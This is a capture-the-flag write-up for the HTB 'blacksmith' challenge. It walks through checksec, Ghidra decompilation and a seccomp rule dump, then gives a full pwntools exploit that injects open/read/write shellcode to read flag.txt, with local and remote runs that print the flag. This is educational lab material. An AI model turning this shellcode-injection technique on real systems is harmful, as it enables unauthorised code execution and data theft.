Binary Exploitation
Source: HTB
Description:
You are the only one who is capable of saving this town and bringing peace upon this land! You found a blacksmith who can create the most powerful weapon in the world! You can find him under the label “./flag.txt”.
Basic File Check
┌──(venv)─(mark㉿haxor)-[~/…/BofLearn/Challs/HTB/blacksmith]
└─$ chmod +x blacksmith
┌──(venv)─(mark㉿haxor)-[~/…/BofLearn/Challs/HTB/blacksmith]
└─$ file blacksmith
blacksmith: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a4acbf7f1d36cdce46b8fe897a8ac56d49236d29, not stripped
┌──(venv)─(mark㉿haxor)-[~/…/BofLearn/Challs/HTB/blacksmith]
└─$ checksec blacksmith
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Desktop/BofLearn/Challs/HTB/blacksmith/blacksmith'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
We’re working with a x64 binary whose protection are PIE & Canary
With NX disabled it gives us an opportunity to inject shellcode to the stack and execute it
I’ll run it to get an idea of whats happening
┌──(venv)─(mark㉿haxor)-[~/…/BofLearn/Challs/HTB/blacksmith]
└─$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 1
This sword can cut through anything! The only thing is, that it is too heavy carry it..
zsh: invalid system call ./blacksmith
┌──(venv)─(mark㉿haxor)-[~/…/BofLearn/Challs/HTB/blacksmith]
└─$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 2
Excellent choice! This luminous shield is empowered with Sun's light! ☀
It will protect you from any attack and it can reflect enemies attacks back!
Do you like your new weapon?
> yes
zsh: segmentation fault ./blacksmith
┌──(venv)─(mark㉿haxor)-[~/…/BofLearn/Challs/HTB/blacksmith]
└─$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 3
This bow's range is the best!
Too bad you do not have enough materials to craft some arrows too..
zsh: invalid system call ./blacksmith
Cool so now i’ll decompile using ghidra
void main(void)
{
size_t __n;
long in_FS_OFFSET;
int start_option;
int input;
char *header1;
char *header2;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
setup();
header1 = "You are worthy to carry this Divine Weapon and bring peace to our homeland!\n";
header2 = "This in not a weapon! Do not try to mock me!\n";
puts("Traveler, I need some materials to fuse in order to create something really powerful!");
printf(
"Do you have the materials I need to craft the Ultimate Weapon?\n1. Yes, everything is here! \n2. No, I did not manage to bring them all!\n> "
);
__isoc99_scanf(&DAT_00101299,&start_option);
if (start_option != 1) {
puts("Farewell traveler! Come back when you have all the materials!");
/* WARNING: Subroutine does not return */
exit(0x22);
}
printf(&DAT_001012e0);
__isoc99_scanf(&DAT_00101299,&input);
sec();
if (input == 2) {
shield();
}
else if (input == 3) {
bow();
}
else {
if (input != 1) {
__n = strlen(header2);
write(1,header2,__n);
/* WARNING: Subroutine does not return */
exit(0x105);
}
sword();
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
We see what the main function does
1. Prints the header stuff and receives our input
2. If the input isn't equal to 1 i.e input = 2 it exits
3. But if it is, other options are brought to be selected
This function is called in the main function
void sec(void)
{
long lVar1;
undefined8 uVar2;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
prctl(0x26,1);
prctl(4,0);
uVar2 = seccomp_init(0);
seccomp_rule_add(uVar2,0x7fff0000,2,0);
seccomp_rule_add(uVar2,0x7fff0000,0,0);
seccomp_rule_add(uVar2,0x7fff0000,1,0);
seccomp_rule_add(uVar2,0x7fff0000,0x3c,0);
seccomp_load(uVar2);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
This just does a seccomp rule hmmmm 🤔
Option 1 decompiled code
void sword(void)
{
long lVar1;
size_t __n;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
__n = strlen(
"This sword can cut through anything! The only thing is, that it is too heavy carry it ..\n"
);
write(1,
"This sword can cut through anything! The only thing is, that it is too heavy carry it..\n",
__n);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Option 2 decompiled code
void shield(void)
{
size_t length;
long in_FS_OFFSET;
undefined input [72];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
length = strlen(&DAT_00101080);
write(1,&DAT_00101080,length);
length = strlen("Do you like your new weapon?\n> ");
write(1,"Do you like your new weapon?\n> ",length);
read(0,input,0x3f);
(*(code *)input)();
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Option 3 decompiled code
void bow(void)
{
long lVar1;
size_t __n;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
__n = strlen(
"This bow\'s range is the best!\nToo bad you do not have enough materials to craft som e arrows too..\n"
);
write(1,
"This bow\'s range is the best!\nToo bad you do not have enough materials to craft some arro ws too..\n"
,__n);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Looking at the functions we can select it shows that there’s nothing much happening
Only the shield function that looks interesting
void shield(void)
{
size_t length;
long in_FS_OFFSET;
undefined input [72];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
length = strlen(&DAT_00101080);
write(1,&DAT_00101080,length);
length = strlen("Do you like your new weapon?\n> ");
write(1,"Do you like your new weapon?\n> ",length);
read(0,input,0x3f);
(*(code *)input)();
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Here’s what it does
1. It writes out the question
2. Then receives our input using read and storing it in a 72bytes buffer
3. It then run `code` i.e it executes the input given
4. Does the stack check and exit
What we can get from this is that
1. We're given input which can hold up only 0x3f bytes and the input buffer can hold up to 72 bytes.
There isn't any buffer overflow here cause we given lesser amount of bytes to input `72 - int(0x3f) = 21`
So the buffer has extra 21 bytes it can hold up
2. Since the input we give is going to be executed as a command, we can still get code execution
So here’s what i’ll do. I’ll give an input which will contain shellcode for the binary to execute
But before that i saw some seccomp-rules in the binary
So i’ll use a tool to dump the rules Tool
Running it i get the dumped rules
┌──(venv)─(mark㉿haxor)-[~/…/BofLearn/Challs/HTB/blacksmith]
└─$ sudo seccomp-tools dump ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
Cool we see that
1. It checks if the architecture isn't x86_64 and it kills the program process
2. Checks if A is equal to sys_number
3. Checks if A is less than 0x4000000 which then jumps to rule 6
4. It checks if A is read, write, open, exit it allows it
So basically with this we won’t be able to get a shell cause shellcode uses like execve, and various other linux syscall convention
But the only calling convention allowed is read, write, open
This is also good cause we know the path of the flag already from the description of the challenge
And we can bascially do this
1. Open the flag.txt file
2. Read the content of it
3. Write those bytes to stdout
Now i’ll be using shellcraft to get various shellcodes to be used
Checking the linux man usage of open, read & write helped also Resource
So here’s the exploit
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Binary filename
exe = './blacksmith'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
# Shellcode
shellcode = asm(shellcraft.open('flag.txt')) #opens up the flag
shellcode += asm(shellcraft.read('3', 'rsp', '0x100')) #read the content and save it in $rsp
shellcode += asm(shellcraft.write('1', 'rsp', 'rax')) #write the value for $rsp to $rax
# Send the payload
io.sendlineafter(b'>', '1')
io.sendlineafter(b'>', '2')
io.sendlineafter(b'>', flat(shellcode))
print(io.recv())
flag = io.recv()
success(flag)
Running it locally
┌──(venv)─(mark㉿haxor)-[~/…/BofLearn/Challs/HTB/blacksmith]
└─$ python2 exploit.py
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[+] Starting local process './blacksmith': pid 365853
[+] FLAG{F4K3_Fl4G_F0R_T3ST1NG}
[*] Process './blacksmith' stopped with exit code -11 (SIGSEGV) (pid 365853)
It works now on the remote server
┌──(venv)─(mark㉿haxor)-[~/…/BofLearn/Challs/HTB/blacksmith]
└─$ python2 exploit.py REMOTE 46.101.11.94 30245
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[+] Opening connection to 46.101.11.94 on port 30245: Done
[+] HTB{s3cc0mp_1s_t00_s3cur3}
[*] Closed connection to 46.101.11.94 port 30245
And we’re done